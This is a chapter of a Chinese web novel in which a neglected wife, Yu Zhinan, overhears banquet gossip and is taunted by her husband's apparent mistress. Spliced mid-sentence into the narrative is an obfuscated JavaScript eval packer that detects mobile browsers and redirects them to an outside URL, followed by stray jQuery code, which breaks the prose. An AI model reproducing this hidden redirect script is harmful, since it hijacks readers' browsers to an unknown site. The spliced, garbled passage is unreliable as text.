2. 第 2 章
作品:《她已经离婚了》 郁知南明白陆砚庭生气了,她以为自己不用再出席今晚的宴会,没想到对方还是带着她去了。
看来赵家手上的项目真的非常重要,陆砚庭需要展示自己幸福美满的婚姻以及稳固的资源背景。
-
去往宴会的路上,郁知南和陆砚庭同坐一辆车,两人的距离只隔着一个扶手台,却一句话都没说。
到了宴会现场,照常先一起跟一些重要人物打招呼,然后双方便分开,陆砚庭去谈生意上的事,郁知南去跟太太小姐们社交。
-
郁知南不喜欢宴会。
她小时候身体弱,从不出席这类活动,又养成了安静含蓄的性子,因此即使长大后身体好了很多,依然很少参加宴会。只是结婚后她不得不进行这类社交,可惜她的性格不适合这类场合,于是再强迫自己也无法很好地融入。
不过她有一个很会社交的朋友,也是她唯一的朋友——文茉莉。文茉莉比她大两岁,两人是在一个聚会上认识的,对方手上撒了酒,她递给对方一张纸巾,于是两人成为了朋友。
文茉莉性格非常好,朋友很多,郁知南只是其中之一。但郁知南不会心里不平衡,对方优秀是好事,而她在这种场合能有一个同伴已经非常幸运。
文茉莉今天也会来,不过此时还未到。
郁知南不想跟其他人聊天,悄悄找了个角落坐下。
早些时候她摔了一跤,扭到了脚,虽然不严重,可之后换礼服得穿高跟鞋,她的脚便开始隐隐作痛。坐下后舒服了一点,她很想揉揉脚,无奈需要保持端庄的姿态,只能再忍忍。
她安静地坐了一会儿,忽然听到一阵骚动。她有些好奇,但也仅仅是好奇,她不会想进入喧闹之中。不过,她附近几个人的谈话解答了困惑。
“那边怎么围了那么多人?”
“赵界祁来了!”
“啊?他居然来了,怎么都没听说呀?”
“现在盯着赵家手上香饽饽的人一大堆,他的行程当然是保密的。”
“我知道他回国了,但他向来不是很少参加这类聚会的吗?自视清高。”
“这你就不知道了吧,有传闻刘总和他母亲家有亲戚关系,看来是真的。”
“呵!那么多人围上去,至于吗?都是有头有脸的人,为了一个项目点头哈腰、阿谀奉承,真是可悲。”
“有什么可悲的?赚钱嘛,不寒碜。倒是……你好像特别不喜欢赵界祁。”
“他不是不喜欢,他是嫉妒。嫉妒人家家世好又才貌超群,他再努力一百年也赶不上别人。”
“哎呀呀!能力出众还长得好看,老天爷真是不公平。”
“对啊,关键是特别有气场,完全daddy级别,简直出类拔萃。什么样的人才能拿下他啊?我觉得他不会喜欢我们这些年轻的,肯定喜欢那种明艳大气或者高智知性的。”
“我嫉妒他?哼!我看是你嫉妒吧?还有你们这些女的,看脸真的太肤浅。他这么多年没个女伴,你们也不想想是为什么?”
“因为他洁身自好,要求高呗!”
“你还真是年轻,太天真了!别的不说,他都三十了,出席各种活动从未带过女伴,也没人见他私下有……这点可太能说明问题了。”
“哎!这个我同意,男人更了解男人。”
“什么意思啊!他忙事业不行吗?他明显就是事业型的男人。再说了,不是总说男人四十一枝花吗?你们不说他三十,单看脸,跟二十五没区别,不过是气质更强罢了。”
“就是,人家这几年大部分时间都在国外,你们还能看到别人在国外的私人生活?说不定人家有自己的计划,人与人之间是不一样的。”
“呃……难不成,你们的意思是……他是个gay?”
“呵呵,以前往他床上送男人的也不少,他依然拒绝。还不懂吗?”
“……”
“用不要掩盖不行,明智之举。”
“哈哈哈哈……”
……
-
“知南!”文茉莉的声音拉回了郁知南的注意力。
“呃……哎,你来啦?”郁知南没想到自己有一日会听八卦听得入神,忘记注意周围的情况,一时有些懵。
“我找了一圈没看到你,都准备给你打电话了,没想到你在这儿。”
“嗯……我……这里安静点。”郁知南轻轻一笑,“你,你先生呢?”
文茉莉刚结婚半年,跟丈夫是青梅竹马,不仅感情深厚而且门当户对,十分幸福。
“呵,他!”文茉莉笑着瞥了一眼正离开的刚才聊八卦的那几个人,压低声音说,“他也对赵家手里的项目感兴趣,据说涉及的范围很广,所以……”
文茉莉无奈地摇摇头,忽地又想到什么,缓缓勾起唇角:“诶!刚才那几个人是在讨论赵界祁吧?我也听过两种小道消息,一种是说赵界祁有心理创伤,拒绝恋爱,另一种是说他有……隐疾,性冷淡。”
郁知南清楚文茉莉是外向大方的人,但文茉莉也是第一次跟她聊这些,她不禁有点惊讶,双目微瞪,眨眨眼。
“哎呀,都是结了婚的人,你怎么还看起来这么纯情呀!”文茉莉用手臂碰了碰郁知南的手臂,“男人的欲望比女人强,那方面很难忍的,除非……生理性厌恶或者生理有问题。”
郁知南眸光波动,努力让嘴角挤出一抹笑。
她跟文茉莉认识还不算久,必然不能多聊家里的情况。但对方的话提醒了她,理性厌恶……或许她的丈夫陆砚庭对她就是生理性厌恶。如此根本没有半点回旋的余地。
怅然若失。
“我去趟洗手间。”她怕自己失态,决定单独待一会儿,平复情绪。
“好。”文茉莉只觉郁知南是害羞了,没想太多。
-
去洗手间的路上,郁知南走得有些急,导致脚腕再次隐隐作痛。她停下缓一缓,看到侧前方有一处半开放休息区没人,于是拐弯进入,坐下休息。
四周无人,灯光又比较暗,她弯腰伸手揉脚腕,想方设法让自己舒服些。
然而她太过放松,都没发现有人接近。
“你看起来不太会穿高跟鞋。”
一道陌生的声音突然飘来。郁知南放开脚腕的同时抬起头,一个外貌清纯的白裙女生正朝她走来。
“扭到脚了?”白裙女生坐到郁知南旁边的椅子上,声音温柔,“光揉捏可没用,得冰敷。”
郁知南逐渐放下戒备:“嗯,我知道了,谢谢。”
“看你无名指上有戒指,已经结婚了吧?”白裙女生微微一笑,“你长这么漂亮,你先生一定很爱你,你不会是怕他担心,所以没告诉对方自己崴脚的事?”
明明是偏向关心夸奖的话,郁知南却隐隐觉得不舒服,她没有再回应,只轻笑一下。
“女人生来就是被疼爱的,丈夫疼爱妻子更是理所当然。”白裙女生继续说话,“你不用担心会让他分心,男人疼爱女人的时候自己也会有满足感。”
郁知南感觉心脏被插了一刀,但别人不知道她特殊的婚姻状况,她只能模
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992286|193770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
糊着回应:“我只是脚腕有点不舒服,并不严重,不需要麻烦我先生。”
白裙女生忽地笑出声,眼神骤然变得森冷:“是不需要还是没办法呀?”
郁知南感受到对方语气中的冷傲与嘲讽,她惊讶地睁大双眼。她看到的不是一朵纯洁无害的解语花,而是带刺的白玫瑰,利刺正对着她。
白裙女生相当满意郁知南的反应,她勾起唇角,不紧不慢地从手拿包里拿出一个小小的东西,然后放到桌上。
郁知南看清桌上东西的瞬间,脑袋发昏发懵,一股酸楚涌上心头。是一枚金色领带夹,样式和下午她收到的照片上的一模一样。
“我还没结婚,不过有位先生在追求我。他连出差都要带上我,大概就是一日不见如隔三秋,不放过任何能在一起的机会。所以,我清楚爱与不爱真的相当明显。”白裙女生的语气满是冷傲,她翘起二郎腿,俨然一副高高在上的模样。
郁知南很想回击,可是喉咙犹如被枣核卡住,无法发声且无比难受。
“你想要吗?”白裙女生拿起领带夹,用食指和中指夹着递到郁知南面前,动作十分轻盈,精致的美甲和领带夹一样华贵。
郁知南没有说话,但终于别过脸,不看领带夹和白裙女生。
“唉……光你想要也没用,没本事留住不如别争抢。”白裙女生倏地收回手,嘴角笑意更浓,悠闲地将领带夹放回手拿包中,“他说,想和我有个孩子。我觉得,如果障碍都扫清了的话,确实可以有个孩子。”
白裙女生说话时一直用余光观察郁知南的表情,见对方始终不开口,她愈发得意,再无半分顾忌:“你不想说点什么吗?我要有了孩子,有些人可就没半点立足之地了哦。要不主动点吧,好聚好散,说不定能多分到些好处。”
郁知南心里堵得慌,身体发僵,她开口也没用,可能还会受到更多嘲讽,还不如保持沉默。
白裙女生缓缓站起身,居高临下地看着郁知南,盯了几秒,冷笑一声:“哼!原来废物到这种程度,难怪连自己的老公都留不住。”
“啊!”郁知南疼得叫了一声,因为白裙女生离开时踢了一下她的脚腕。看起来是走动时动作过大不小心踢到,实际是故意的,耀武扬威,扬长而去。
郁知南没有回击,更没有追上去,只默默地伸出手轻轻揉脚腕。
她揉了好一会儿,蓦然感觉排山倒海般的酸楚压不住,在心头猛烈翻涌,随即黯然泪下。
她委屈无人给她撑腰,同时也痛恨自己的软弱。
明明被逼到绝境时她还可以鱼死网破,可她不敢,总觉得忍下去就还有一线希望。她甚至反复告诉自己,只要她的丈夫没有明确抛弃她,那外面的一切都可能是挑拨离间。然而她却不敢向丈夫验证,因为种种迹象表明她是在自欺欺人。
她心里太过难受,不知不觉越哭越伤心。
“你现在的哭泣除了发泄情绪外没有任何用处。”
突然有一道听不出情绪的清冷男声从不远处的绿植后方传来。绿植后方应该是个死角,无奈有隔断屏风遮挡,光线又昏暗,所以外面的人没能注意到里面竟然还有人。
郁知南惊得用手捂住嘴,立刻停止哭泣,她身体发僵,不敢直视声音传来的方向。
“干坏事的人始终会心虚,不妨利用这点为自己争取点什么。”那人又说了一句,依然是听不出情绪的语气,很难判断对方是想帮忙还是表达鄙夷。
不过不等郁知南思考,对方起身离开了。
绿植后方不是死角,还有另外的通道。

